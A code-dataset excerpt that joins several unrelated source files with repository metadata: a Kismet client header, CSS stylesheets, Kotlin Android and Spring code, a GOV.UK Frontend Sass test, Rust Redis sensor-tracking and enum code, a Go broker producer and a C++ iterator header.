public:
KisNetClient();
KisNetClient(GlobalRegistry *in_globalreg);
virtual ~KisNetClient();
// Connect to a server string, proto://host:port
virtual int Connect(string in_host, int in_reconnect);
virtual string FetchHost() { return host; }
virtual int FetchPort() { return port; }
virtual void AddConfCallback(CliConf_Callback in_cb, int in_recon, void *in_aux);
virtual void RemoveConfCallback(CliConf_Callback in_cb);
virtual int FetchConfigured() { return configured; }
virtual int MergeSet(int in_max_fd, fd_set *out_rset,
fd_set *out_wset) {
return netclient->MergeSet(in_max_fd, out_rset, out_wset);
}
virtual int Poll(fd_set &in_rset, fd_set &in_wset) {
return netclient->Poll(in_rset, in_wset);
}
virtual int ParseData();
virtual int KillConnection();
virtual int Shutdown();
virtual void ConnectCB(int status);
// Register a handler for a protocol. There can be multiple handlers.
virtual int RegisterProtoHandler(string in_proto, string in_fieldlist,
CliProto_Callback in_cb, void *in_aux,
CliCmd_Callback in_cmd_complete = NULL);
virtual void RemoveProtoHandler(string in_proto, CliProto_Callback in_cb,
void *in_aux);
// Grab the list of fields we know about for a proto so clients can
// request what they want
virtual int FetchProtoCapabilities(string in_proto,
map<string, int> *ret_fields);
// Inject a command, with optional callbacks that will trigger when it
// completes with a success or fail
virtual int InjectCommand(string in_cmdtext, CliCmd_Callback in_cb = NULL,
void *in_aux = NULL);
// Cancel all pending command callbacks referencing a specific cb/ptr
// (used when shutting down a receiver to make sure no existing callbacks
// can be triggered after the rx is destroyed)
virtual void RemoveAllCmdCallbacks(CliCmd_Callback in_cb, void *in_aux);
virtual int Reconnect();
virtual int Timer();
virtual string FetchServerName() {
return server_name;
}
virtual int FetchServerUid() {
return server_uid;
}
virtual time_t FetchServerStarttime() {
return server_starttime;
}
// Internal callback handler record
struct kcli_handler_rec {
void *auxptr;
CliProto_Callback callback;
// Vector of LOCAL field nums (as processed by the interim
// handler)
vector<int> local_fnums;
};
// Absolute field numbers to configured field numbers map, and callback
// list
struct kcli_configured_proto_rec {
// Fields we enable
string fields;
map<int, int> abs_to_conf_fnum_map;
vector<kcli_handler_rec *> handler_vec;
};
// Internal conf cb record
struct kcli_conf_rec {
void *auxptr;
CliConf_Callback callback;
int on_recon;
};
// Absolute field numbers and names from the CAPABILITY list
struct kcli_field_rec {
string fname;
int fnum;
int usecount;
};
struct kcli_cmdcb_rec {
void *auxptr;
CliCmd_Callback callback;
};
protected:
TcpClient *tcpcli;
char host[MAXHOSTNAMELEN];
short int port;
// Callbacks to call when we get configured
vector<kcli_conf_rec *> conf_cb_vec;
// Double map of protocols and fields in them, filled in at connection time
map<string, vector<kcli_field_rec> > proto_field_dmap;
// Map of protocols to handlers
map<string, kcli_configured_proto_rec> handler_cb_map;
// Map of command callback events
map<int, kcli_cmdcb_rec> command_cb_map;
int reconnect;
int reconid, timerid;
// Have we gotten configure data for everything?
int configured;
int cmdid;
time_t last_disconnect, time_connected, last_read;
int num_reconnects;
time_t last_time;
// Server start time & uid and such
time_t server_starttime;
string server_name;
int server_uid;
};
#endif
| 28.205405 | 82 | 0.752204 |
47f7e29368012df345d61cc1501a197c597bb721
| 1,252 |
css
|
CSS
|
src/main/resources/public/stylesheets/WaiterStyle.css
|
SirCen/Year2TeamProject
|
29833443284b09bb94611ce97928adfb24c94bb4
|
[
"MIT"
] | null | null | null |
src/main/resources/public/stylesheets/WaiterStyle.css
|
SirCen/Year2TeamProject
|
29833443284b09bb94611ce97928adfb24c94bb4
|
[
"MIT"
] | null | null | null |
src/main/resources/public/stylesheets/WaiterStyle.css
|
SirCen/Year2TeamProject
|
29833443284b09bb94611ce97928adfb24c94bb4
|
[
"MIT"
] | null | null | null |
.waiter-ticket {
border:4px solid black;
max-height: 750px;
margin-bottom: 30px;
font: inherit;
font-size: 30px;
}
.card-body h5 {
font-size: inherit;
}
.waiter-ticket .list-group-flush {
height: 350px;
overflow-y: auto;
}
.waiter-ticket .btn-group-vertical {
margin-top: 5px;
padding-left: 20px;
padding-right: 20px;
}
.modal-backdrop {
opacity:0.5 !important;
}
.jumbotron {
background: #532F8C;
color: white;
padding-bottom: 3px; !important;}
.jumbotron .btn-primary {
background: #845ac7;
border-color: #845ac7; }
.jumbotron .btn-primary:hover {
background: #7646c1; }
.jumbotron p {
color: #d9ccee;
max-width: 75%;
margin: 1em auto 2em; }
.navbar + .jumbotron {
margin-top: -20px; }
.jumbotron .lang-logo {
display: block;
background: #B01302;
border-radius: 50%;
overflow: hidden;
width: 100px;
height: 100px;
margin: auto;
border: 2px solid white; }
.jumbotron .lang-logo img {
max-width: 100%;
}
.paid {
color: forestgreen;
}
.not-paid {
color: red;
}
.closebtn {
color: white;
font-weight: bold;
font-size: 22px;
line-height: 20px;
cursor: pointer;
background-color: #f44336;
border: none;
transition: 0.3s;
}
.closebtn:hover {
color: black;
}
| 14.904762 | 36 | 0.650958 |
0dfd96bb43a2e28cd518cbd65bdb60ed716ba02e
| 2,468 |
kt
|
Kotlin
|
rpistream/app/src/main/java/com/anookday/rpistream/stream/settings/AudioConfigSampleRateFragment.kt
|
anookday/RPi-Video-Streamer
|
0ea09a6e724faf893b9a57eef6c7c524e6450849
|
[
"Apache-2.0"
] | null | null | null |
rpistream/app/src/main/java/com/anookday/rpistream/stream/settings/AudioConfigSampleRateFragment.kt
|
anookday/RPi-Video-Streamer
|
0ea09a6e724faf893b9a57eef6c7c524e6450849
|
[
"Apache-2.0"
] | null | null | null |
rpistream/app/src/main/java/com/anookday/rpistream/stream/settings/AudioConfigSampleRateFragment.kt
|
anookday/RPi-Video-Streamer
|
0ea09a6e724faf893b9a57eef6c7c524e6450849
|
[
"Apache-2.0"
] | null | null | null |
package com.anookday.rpistream.stream.settings
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.fragment.app.Fragment
import androidx.fragment.app.activityViewModels
import com.anookday.rpistream.R
import com.anookday.rpistream.databinding.FragmentAudioConfigSampleRateBinding
import com.anookday.rpistream.repository.database.User
import com.anookday.rpistream.stream.CurrentFragmentName
import com.anookday.rpistream.stream.StreamActivity
import com.anookday.rpistream.stream.StreamViewModel
/**
* Audio sample rate configuration fragment.
*/
class AudioConfigSampleRateFragment : Fragment() {
private lateinit var binding: FragmentAudioConfigSampleRateBinding
private val viewModel: StreamViewModel by activityViewModels()
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
binding = FragmentAudioConfigSampleRateBinding.inflate(inflater, container, false)
viewModel.apply {
user.observe(viewLifecycleOwner, ::onUserChange)
}
return binding.root
}
override fun onResume() {
viewModel.setCurrentFragment(CurrentFragmentName.AUDIO_CONFIG_SAMPLERATE)
(activity as StreamActivity).editNavigationDrawer(
R.string.audio_config_sample_rate_title,
R.drawable.ic_baseline_arrow_back_24,
false
)
super.onResume()
}
private fun onUserChange(user: User?) {
user?.settings?.audioConfig?.let { config ->
binding.apply {
when (config.sampleRate) {
32000 -> audioSampleRateRadioGroup.check(R.id.audio_sample_rate_32000)
44100 -> audioSampleRateRadioGroup.check(R.id.audio_sample_rate_44100)
48000 -> audioSampleRateRadioGroup.check(R.id.audio_sample_rate_48000)
}
audioSampleRateRadioGroup.setOnCheckedChangeListener { _, checkedId ->
when (checkedId) {
R.id.audio_sample_rate_32000 -> viewModel.updateAudioSampleRate(32000)
R.id.audio_sample_rate_44100 -> viewModel.updateAudioSampleRate(44100)
R.id.audio_sample_rate_48000 -> viewModel.updateAudioSampleRate(48000)
}
}
}
}
}
}
| 37.969231 | 94 | 0.68517 |
f50ce1111a28e1c3d30ddbadd1cd4a7e547169f6
| 552 |
kt
|
Kotlin
|
mailingservice/src/main/kotlin/it/polito/master/ap/group6/ecommerce/mailingservice/MailingserviceApplication.kt
|
franckies/ecommerce-api
|
884650f45ba385ee98ee0d0fa685404865169e74
|
[
"Apache-2.0"
] | null | null | null |
mailingservice/src/main/kotlin/it/polito/master/ap/group6/ecommerce/mailingservice/MailingserviceApplication.kt
|
franckies/ecommerce-api
|
884650f45ba385ee98ee0d0fa685404865169e74
|
[
"Apache-2.0"
] | null | null | null |
mailingservice/src/main/kotlin/it/polito/master/ap/group6/ecommerce/mailingservice/MailingserviceApplication.kt
|
franckies/ecommerce-api
|
884650f45ba385ee98ee0d0fa685404865169e74
|
[
"Apache-2.0"
] | null | null | null |
package it.polito.master.ap.group6.ecommerce.mailingservice
import it.polito.master.ap.group6.ecommerce.mailingservice.repositories.MailingRepository
import org.springframework.boot.autoconfigure.SpringBootApplication
import org.springframework.boot.runApplication
@SpringBootApplication
class MailingserviceApplication(
private val mailingRepository: MailingRepository
) {
init {
// clear database
mailingRepository.deleteAll()
}
}
fun main(args: Array<String>) {
runApplication<MailingserviceApplication>(*args)
}
| 26.285714 | 89 | 0.79529 |
4a458c4cb932e6aed45acddd379b837e21a22de4
| 985 |
js
|
JavaScript
|
src/all.test.js
|
uk-gov-mirror/hmcts.govuk-frontend
|
9d39b0e58c8215e0bdc6a5a55c49fc1d58fa18e1
|
[
"MIT"
] | null | null | null |
src/all.test.js
|
uk-gov-mirror/hmcts.govuk-frontend
|
9d39b0e58c8215e0bdc6a5a55c49fc1d58fa18e1
|
[
"MIT"
] | null | null | null |
src/all.test.js
|
uk-gov-mirror/hmcts.govuk-frontend
|
9d39b0e58c8215e0bdc6a5a55c49fc1d58fa18e1
|
[
"MIT"
] | null | null | null |
/* eslint-env jest */
const util = require('util')
const configPaths = require('../config/paths.json')
const sass = require('node-sass')
const sassRender = util.promisify(sass.render)
const sassConfig = {
includePaths: [ configPaths.src ]
}
describe('GOV.UK Frontend', () => {
describe('global styles', async() => {
it('are disabled by default', async () => {
const sass = `
@import "all";
`
const results = await sassRender({ data: sass, ...sassConfig })
expect(results.css.toString()).not.toContain(', a {')
expect(results.css.toString()).not.toContain(', p {')
})
it('are enabled if $global-styles variable is set to true', async () => {
const sass = `
$govuk-global-styles: true;
@import "all";
`
const results = await sassRender({ data: sass, ...sassConfig })
expect(results.css.toString()).toContain(', a {')
expect(results.css.toString()).toContain(', p {')
})
})
})
| 28.142857 | 77 | 0.594924 |
010f38fcd36b46dbeb008ad9b90544b11a088b83
| 854 |
rs
|
Rust
|
src/sheen.rs
|
juliarose/tf2-enum
|
4f7b9264d222551ae71f8bf6c0c03477dd6df713
|
[
"MIT"
] | null | null | null |
src/sheen.rs
|
juliarose/tf2-enum
|
4f7b9264d222551ae71f8bf6c0c03477dd6df713
|
[
"MIT"
] | null | null | null |
src/sheen.rs
|
juliarose/tf2-enum
|
4f7b9264d222551ae71f8bf6c0c03477dd6df713
|
[
"MIT"
] | null | null | null |
use strum_macros::{Display, EnumString, EnumIter};
use num_enum::{TryFromPrimitive, IntoPrimitive};
use serde_repr::{Serialize_repr, Deserialize_repr};
use crate::Attribute;
#[derive(Serialize_repr, Deserialize_repr, Debug, Hash, Eq, PartialEq, Display, EnumString, EnumIter, TryFromPrimitive, IntoPrimitive, Clone, Copy)]
#[repr(u32)]
pub enum Sheen {
#[strum(serialize = "Team Shine")]
TeamShine = 1,
#[strum(serialize = "Deadly Daffodil")]
DeadlyDaffodil = 2,
#[strum(serialize = "Manndarin")]
Manndarin = 3,
#[strum(serialize = "Mean Green")]
MeanGreen = 4,
#[strum(serialize = "Agonizing Emerald")]
AgonizingEmerald = 5,
#[strum(serialize = "Villainous Violet")]
VillainousViolet = 6,
#[strum(serialize = "Hot Rod")]
HotRod = 7,
}
impl Attribute for Sheen {
const DEFINDEX: u32 = 2014;
}
| 31.62963 | 148 | 0.681499 |
4107ce5b6ed1633fa278d3ac5d24dbfd7cf01e5c
| 5,406 |
h
|
C
|
Tools/MaterialConverter/BaikalOld/SceneGraph/iterator.h
|
AlexanderVeselov/RadeonProRender-Baikal
|
9d18d314c84e20abdf21c3850fe2a3b460285361
|
[
"MIT"
] | 344 |
2017-05-05T11:16:01.000Z
|
2021-11-22T10:57:53.000Z
|
Tools/MaterialConverter/BaikalOld/SceneGraph/iterator.h
|
missmah/RadeonProRender-Baikal
|
2d5a5d0eb2092d75adf637bf6f381d7e9307e986
|
[
"MIT"
] | 65 |
2017-05-15T12:20:23.000Z
|
2020-03-08T10:05:31.000Z
|
Tools/MaterialConverter/BaikalOld/SceneGraph/iterator.h
|
missmah/RadeonProRender-Baikal
|
2d5a5d0eb2092d75adf637bf6f381d7e9307e986
|
[
"MIT"
] | 107 |
2017-05-06T23:18:44.000Z
|
2022-01-31T07:23:34.000Z
|
/**********************************************************************
Copyright (c) 2016 Advanced Micro Devices, Inc. All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
********************************************************************/
#pragma once
/**
\file iterator.h
\author Dmitry Kozlov
\version 1.0
\brief Contains declaration of BaikalOld object iterators.
*/
#include "scene_object.h"
namespace BaikalOld
{
/**
\brief Iterator base interface.
\details Iterators are used to go over different BaikalOld scene graph objects, such as meshes or lights.
*/
class Iterator
{
public:
// Constructor
Iterator() = default;
// Destructor
virtual ~Iterator() = default;
// Valid means it still has items to iterate over: you can call Next()
virtual bool IsValid() const = 0;
// Goes to next object, iterator should be valid before this call
virtual void Next() = 0;
// Retrieve underlying object
virtual SceneObject::Ptr Item() const = 0;
// Sets the iterator into its initial state (beginning of the sequence)
virtual void Reset() = 0;
// Retrieve with uncoditional cast: caller is responsible of all the implications, no type check here
template <typename T> typename T::Ptr ItemAs() const { return std::static_pointer_cast<T>(Item()); }
// Disable copies and moves
Iterator(Iterator const&) = delete;
Iterator& operator = (Iterator const&) = delete;
};
/**
\brief Represents empty sequence.
\details Objects return empty iterator when there is nothing to iterate over.
*/
class EmptyIterator : public Iterator
{
public:
// Constructor
EmptyIterator() = default;
// Destructor
~EmptyIterator() = default;
// EmptyIterator is never valid
bool IsValid() const override { return false; }
// Nothing to go to
void Next() override {}
// Dereferencing always returns nullptr
SceneObject::Ptr Item() const override { return nullptr; }
// Nothing to reset
void Reset() override {}
};
/**
\brief Represents wrapper on iterable entities supporting comparison and ++.
\details Objects return this type of iterator if they are iteration over arrays or stl containers.
*/
template <typename UnderlyingIterator> class IteratorImpl : public Iterator
{
public:
// Initialize with an existing iterators
IteratorImpl(UnderlyingIterator begin, UnderlyingIterator end)
: m_begin(begin)
, m_end(end)
, m_cur(begin)
{
}
// Check if we reached end
bool IsValid() const override
{
return m_cur != m_end;
}
// Advance by 1
void Next() override
{
++m_cur;
}
// Get underlying item
SceneObject::Ptr Item() const override
{
return *m_cur;
}
// Set to starting iterator
void Reset() override
{
m_cur = m_begin;
}
private:
UnderlyingIterator m_begin;
UnderlyingIterator m_end;
UnderlyingIterator m_cur;
};
template <typename T> class ContainerIterator : public Iterator
{
public:
ContainerIterator(T&& container) :
m_container(std::move(container))
{
m_begin = m_container.cbegin();
m_end = m_container.cend();
Reset();
}
// Check if we reached end
bool IsValid() const override
{
return m_cur != m_end;
}
// Advance by 1
void Next() override
{
++m_cur;
}
// Get underlying item
SceneObject::Ptr Item() const override
{
return *m_cur;
}
// Set to starting iterator
void Reset() override
{
m_cur = m_begin;
}
private:
T m_container;
typename T::const_iterator m_begin;
typename T::const_iterator m_end;
typename T::const_iterator m_cur;
};
}
| 30.370787 | 110 | 0.58842 |
3d60ad7843a4d9704383b7fa3a512ba724484fbd
| 8,189 |
rs
|
Rust
|
services/sensor_tracker/src/predis.rs
|
Terkwood/prawnalith
|
fda255912eee8f7caff185b3507bdf052c9420d8
|
[
"Apache-2.0",
"MIT"
] | 16 |
2018-11-06T09:31:55.000Z
|
2021-07-01T15:14:41.000Z
|
services/sensor_tracker/src/predis.rs
|
Terkwood/prawnalith
|
fda255912eee8f7caff185b3507bdf052c9420d8
|
[
"Apache-2.0",
"MIT"
] | 50 |
2018-10-05T12:55:50.000Z
|
2020-05-23T15:15:37.000Z
|
services/sensor_tracker/src/predis.rs
|
Terkwood/prawnalith
|
fda255912eee8f7caff185b3507bdf052c9420d8
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
use redis::Commands;
use super::model;
use redis_context::RedisContext;
use redis_delta::REvent;
use serde_json;
use std::time::SystemTime;
use uuid::Uuid;
/// Updates redis so that the individual measurement is applied to the correct tank.
/// Also records the measurement to a record associated with the sensor itself.
/// Keeps track of how many updates have been applied to each tank and sensor record.
/// Will create a new sensor record for this device if one does not already exist.
pub fn update<'a, 'b>(
redis_ctx: &RedisContext,
measure: &model::Measurement,
ext_device_id: &str,
) -> Result<Vec<REvent>, redis::RedisError> {
let mut delta_events: Vec<REvent> = vec![];
println!("Received redis {} update: {:?}", measure.name(), measure);
let ext_device_namespace = &redis_ctx.get_external_device_namespace(measure.name())?;
let device_id = internal_device_id(ext_device_id, ext_device_namespace).unwrap();
println!("\tDevice ID (internal): {}", device_id);
let rn = &redis_ctx.namespace;
let sensor_set_event = update_sensor_set(redis_ctx, rn, measure, device_id);
if let Some(e) = sensor_set_event {
delta_events.push(e)
}
// lookup associated tank
let sensor_hash_key = &format!("{}/sensors/{}/{}", rn, measure.name(), device_id).to_string();
let tank_and_area_and_update_count: Result<Vec<Option<u64>>, _> = redis_ctx.conn.hget(
sensor_hash_key,
vec!["tank", "area", &format!("{}_update_count", measure.name())],
);
if let Ok(v) = tank_and_area_and_update_count {
// Tank associated with this sensor?
let revent = match (v.get(0).unwrap_or(&None), v.get(1).unwrap_or(&None)) {
(Some(tank_num), _) => {
update_container_hash(redis_ctx, Container::Tanks, tank_num, &measure)
}
(_, Some(area_num)) => {
update_container_hash(redis_ctx, Container::Areas, area_num, &measure)
}
(None, None) => ensure_sensor_hash_exists(redis_ctx, sensor_hash_key, ext_device_id),
};
if let Some(ev) = revent {
delta_events.push(ev)
}
// record a hit on the updates that the sensor has seen
// and also record the most recent measurement on the record
// for this individual sensor
let sensor_updated = update_sensor_hash(
redis_ctx,
sensor_hash_key,
measure,
v.get(2).unwrap_or(&None),
);
if let Some(ev) = sensor_updated {
delta_events.push(ev)
}
};
Ok(delta_events)
}
fn update_sensor_set(
redis_ctx: &RedisContext,
rn: &str,
measure: &model::Measurement,
device_id: Uuid,
) -> Option<REvent> {
let set_sensor_type_key = format!("{}/sensors/{}", rn, measure.name());
// add to the member set if it doesn't already exist
let sensors_added: Result<u64, _> = redis_ctx
.conn
.sadd(&set_sensor_type_key, &format!("{}", device_id));
match sensors_added {
Ok(n) if n > 0 => Some(REvent::SetUpdated {
key: set_sensor_type_key,
}),
_ => None,
}
}
enum Container {
Tanks,
Areas,
}
impl Container {
pub fn to_string(self) -> String {
match self {
Container::Tanks => "tanks".to_string(),
Container::Areas => "areas".to_string(),
}
}
}
fn update_container_hash(
redis_ctx: &RedisContext,
container: Container,
container_num: &u64,
measure: &model::Measurement,
) -> Option<REvent> {
// We found the area associated with this
// sensor ID, so we should update that area's
// current reading.
let container_key = format!(
"{}/{}/{}",
redis_ctx.namespace,
container.to_string(),
container_num
);
let container_measure_count: Result<Option<u32>, _> = redis_ctx
.conn
.hget(&container_key, &format!("{}_update_count", measure.name()));
let uc_name = format!("{}_update_count", measure.name());
let ut_name = format!("{}_update_time", measure.name());
let update: (Result<String, _>, Vec<&str>) = {
let mut data: Vec<(&str, String)> = measure.to_redis();
data.push((
&uc_name,
container_measure_count
.unwrap_or(None)
.map(|u| u + 1)
.unwrap_or(1)
.to_string(),
));
data.push((&ut_name, epoch_secs().to_string()));
(
redis_ctx.conn.hset_multiple(&container_key, &data[..]),
data.iter().map(|(a, _)| *a).collect(),
)
};
match update {
(Err(e), _) => {
println!("update fails for {}: {:?}", container_key, e);
None
}
(Ok(_), fields) if fields.len() > 0 => {
let fs = fields.iter().map(|s| s.to_string()).collect();
Some(REvent::HashUpdated {
key: container_key.to_string(),
fields: fs,
})
}
_ => None,
}
}
fn ensure_sensor_hash_exists(
redis_ctx: &RedisContext,
sensor_hash_key: &str,
ext_device_id_str: &str,
) -> Option<REvent> {
// We know that there's no associated "tank"
// field for this key. Let's make sure the record
// for this sensor exists -- we'll need a human
// to come in and link this device to a specific tank
// using redis-cli!
let mut result: Option<REvent> = None;
redis_ctx
.conn
.exists(sensor_hash_key)
.iter()
.for_each(|e: &bool| {
if !e {
let cf = "create_time".to_string();
let ed = "ext_device_id".to_string();
let field_vals = &vec![
(&cf, format!("{}", epoch_secs())),
(&ed, ext_device_id_str.to_string()),
][..];
// new sensor, make note of when it is created
let _: Result<Vec<bool>, _> =
redis_ctx.conn.hset_multiple(sensor_hash_key, field_vals);
let fields = vec![cf, ed];
result = Some(REvent::HashUpdated {
key: sensor_hash_key.to_string(),
fields,
})
}
});
result
}
fn update_sensor_hash(
redis_ctx: &RedisContext,
sensor_hash_key: &str,
measure: &model::Measurement,
maybe_sensor_upd_count: &Option<u64>,
) -> Option<REvent> {
let upd_c = &format!("{}_update_count", measure.name());
let mut data: Vec<(&str, String)> = vec![(
upd_c,
maybe_sensor_upd_count
.map(|u| u + 1)
.unwrap_or(1)
.to_string(),
)];
data.extend(measure.to_redis());
let ut = &format!("{}_update_time", measure.name());
data.push((ut, epoch_secs().to_string()));
let redis_result: Result<(), _> = redis_ctx.conn.hset_multiple(sensor_hash_key, &data[..]);
if let Err(e) = redis_result {
println!("couldn't update sensor record {}: {:?}", sensor_hash_key, e);
None
} else {
let mut fields: Vec<String> = vec![];
data.iter().for_each(|(f, _)| fields.push(f.to_string()));
Some(REvent::HashUpdated {
key: sensor_hash_key.to_string(),
fields,
})
}
}
fn internal_device_id(
external_device_id: &str,
external_device_namespace: &Uuid,
) -> Result<Uuid, uuid::parser::ParseError> {
Ok(Uuid::new_v5(
&external_device_namespace,
external_device_id.as_bytes(),
))
}
fn epoch_secs() -> u64 {
SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.unwrap()
.as_secs()
}
pub fn publish_updates(redis_ctx: &RedisContext, topic: &str, updates: Vec<REvent>) {
updates.iter().for_each(|delta_event| {
if let Ok(s) = serde_json::to_string(delta_event) {
let published: Result<u64, _> = redis_ctx.conn.publish(topic, s);
if let Err(e) = published {
println!("Error publishing to {}: {}", topic, e)
}
}
})
}
| 30.785714 | 98 | 0.571743 |
cb5bd4c77a005f7cc774b0dc9e6c98588ed48a17
| 1,909 |
go
|
Go
|
libbeat/publisher/broker/membroker/produce.go
|
alexshadow007/beats
|
fa7fc6da2b12077f27b64779106d49ca390d41d4
|
[
"Apache-2.0"
] | null | null | null |
libbeat/publisher/broker/membroker/produce.go
|
alexshadow007/beats
|
fa7fc6da2b12077f27b64779106d49ca390d41d4
|
[
"Apache-2.0"
] | null | null | null |
libbeat/publisher/broker/membroker/produce.go
|
alexshadow007/beats
|
fa7fc6da2b12077f27b64779106d49ca390d41d4
|
[
"Apache-2.0"
] | null | null | null |
package membroker
import (
"github.com/elastic/beats/libbeat/publisher"
"github.com/elastic/beats/libbeat/publisher/broker"
)
type forgetfullProducer struct {
broker *Broker
}
type ackProducer struct {
broker *Broker
cancel bool
seq uint32
state produceState
}
type produceState struct {
cb ackHandler
dropCB func(int)
cancelled bool
lastACK uint32
}
type ackHandler func(count int)
func newProducer(b *Broker, cb ackHandler, dropCB func(int)) broker.Producer {
if cb != nil {
p := &ackProducer{broker: b, seq: 1, cancel: true}
p.state.cb = cb
p.state.dropCB = dropCB
return p
}
return &forgetfullProducer{broker: b}
}
func (p *forgetfullProducer) Publish(event publisher.Event) {
p.broker.publish(p.makeRequest(event))
}
func (p *forgetfullProducer) TryPublish(event publisher.Event) bool {
return p.broker.tryPublish(p.makeRequest(event))
}
func (p *forgetfullProducer) makeRequest(event publisher.Event) pushRequest {
return pushRequest{event: event}
}
func (*forgetfullProducer) Cancel() int { return 0 }
func (p *ackProducer) Publish(event publisher.Event) {
p.broker.publish(p.makeRequest(event))
}
func (p *ackProducer) TryPublish(event publisher.Event) bool {
return p.broker.tryPublish(p.makeRequest(event))
}
func (p *ackProducer) makeRequest(event publisher.Event) pushRequest {
req := pushRequest{
event: event,
seq: p.seq,
state: &p.state,
}
p.seq++
return req
}
func (p *ackProducer) Cancel() int {
if p.cancel {
ch := make(chan producerCancelResponse)
p.broker.pubCancel <- producerCancelRequest{
state: &p.state,
resp: ch,
}
// wait for cancel to being processed
resp := <-ch
return resp.removed
}
return 0
}
func (b *Broker) publish(req pushRequest) { b.events <- req }
func (b *Broker) tryPublish(req pushRequest) bool {
select {
case b.events <- req:
return true
default:
return false
}
}
| 20.308511 | 78 | 0.71451 |
20775ee11fd612ca806b2f004d7f3c4a830c8dde
| 18,808 |
css
|
CSS
|
public/css/parallax.css
|
reggi49/CarreraCMS
|
5ff5fceb661d9771c0e2f87ca5521658682e953c
|
[
"Apache-2.0"
] | null | null | null |
public/css/parallax.css
|
reggi49/CarreraCMS
|
5ff5fceb661d9771c0e2f87ca5521658682e953c
|
[
"Apache-2.0"
] | null | null | null |
public/css/parallax.css
|
reggi49/CarreraCMS
|
5ff5fceb661d9771c0e2f87ca5521658682e953c
|
[
"Apache-2.0"
] | null | null | null |
/* parallax */
.container {
position:fixed;
width:100vw;
height:100vh;
bottom:0;
left:0;
}
.scene {
padding: 0;
margin: 0;
bottom:0;
left:0;
}
.b1 {
width:700px;
height:90px;
position:relative;
background:#1e1e1e;
transform:rotate(75deg);
top:92vh;
margin-left:-335px;
}
.b2 {
width:500px;
height:110px;
position:relative;
background:#1e1e1e;
transform:rotate(50deg);
margin-left:-200px;
top:92.5vh;
}
.b3 {
width:500px;
height:110px;
position:relative;
background:rgba(255,230,0,1);
transform:rotate(30deg);
bottom:0;
margin-left:-180px;
top:94vh;
}
.b4 {
width:800px;
height:110px;
position:relative;
background:#1e1e1e;
transform:rotate(7deg);
bottom:0;
top:98vh;
margin-left:-170px;
}
.b5 {
width:500px;
height:110px;
position:relative;
background:#1e1e1e;
transform:rotate(80deg);
top:0;
margin-left:1690px;
}
.b6 {
width:500px;
height:110px;
position:relative;
background:rgba(255,230,0,1);
transform:rotate(60deg);
top:0;
margin-left:1685px;
}
.b7 {
width:500px;
height:110px;
position:relative;
background:#1e1e1e;
transform:rotate(25deg);
top:-85px;
margin-left:1550px;
}
.b8 {
width:650px;
height:110px;
position:relative;
background:#1e1e1e;
transform:rotate(7.5deg);
top:-70px;
margin-left:1600px;
}
.b-shade {
width:820px;
height:7.5px;
top:-7.5px;
background: linear-gradient(rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0.25) 100%);
position:relative;
}
.b-shade-min {
height:1000px;
width:7.5px;
bottom:387.5px;
background: linear-gradient(90deg, rgba(0, 0, 0, 0.25) 0%, rgba(0, 0, 0, 0) 100%);
position:relative;
transform:rotate(90deg);
}
.interior {
width:34vw;
height:16.5vh;
background:url('../img/interior.png');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:63vw;
position:relative;
}
.motor {
width:18vw;
height:16.5vh;
background:url('../img/motor.png');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:41vw;
position:relative;
}
.car {
width:25vw;
height:16.5vh;
background:url('../img/car.png');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:6vw;
position:relative;
-moz-animation: 3icon 0.5s 0.25s forwards;
-webkit-animation: 3icon 0.5s 0.25s forwards;
-ms-animation: 3icon 0.5s 0.25s forwards;
animation: 3icon 0.5s 0.25s forwards;
-moz-backface-visibility: hidden;
-webkit-backface-visibility: hidden;
-ms-backface-visibility: hidden;
backface-visibility: hidden;
}
.interior-1-i {
width:10.2px;
height:43.71px;
background:url('../img/letter-i.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:65vw;
position:relative;
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
}
.interior-2-n {
width:38.16px;
height:43.71px;
background:url('../img/letter-n.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 17.5px);
position:relative;
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
}
.interior-3-t {
width:34.74px;
height:43.71px;
background:url('../img/letter-t.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 60.53px);
position:relative;
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
}
.interior-4-e {
width:34.74px;
height:43.71px;
background:url('../img/letter-e.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 97.53px);
position:relative;
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
}
.interior-5-r {
width:34.74px;
height:43.71px;
background:url('../img/letter-r.svg');
background-size:auto 100%;
background-repeat:no-repeat;
